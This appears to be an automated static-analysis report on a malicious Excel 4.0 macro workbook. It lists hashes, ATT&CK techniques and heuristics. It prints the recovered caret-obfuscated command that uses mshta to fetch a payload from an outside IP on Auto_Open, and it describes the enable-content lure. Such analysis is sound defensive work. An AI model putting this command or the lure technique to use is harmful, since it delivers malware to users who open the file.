Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 39c0cdc49c42cdbd…

MALICIOUS

Office (OLE) / .XLSX

65.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 51a7b2512952d6b858736dd2438657af SHA-1: badf3899a3404cd4c9fb96a24280aee51562209f SHA-256: 39c0cdc49c42cdbdba33dda54cc2efb705dec573d81234839ee106e02f3d6aa1
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro reconstructs the command string "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html" which downloads a payload from the specified URL. The document body also contains a lure to "Enable Editing" and "Enable Content" to bypass security warnings. The presence of the Auto_Open macro and the command execution strongly indicate malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.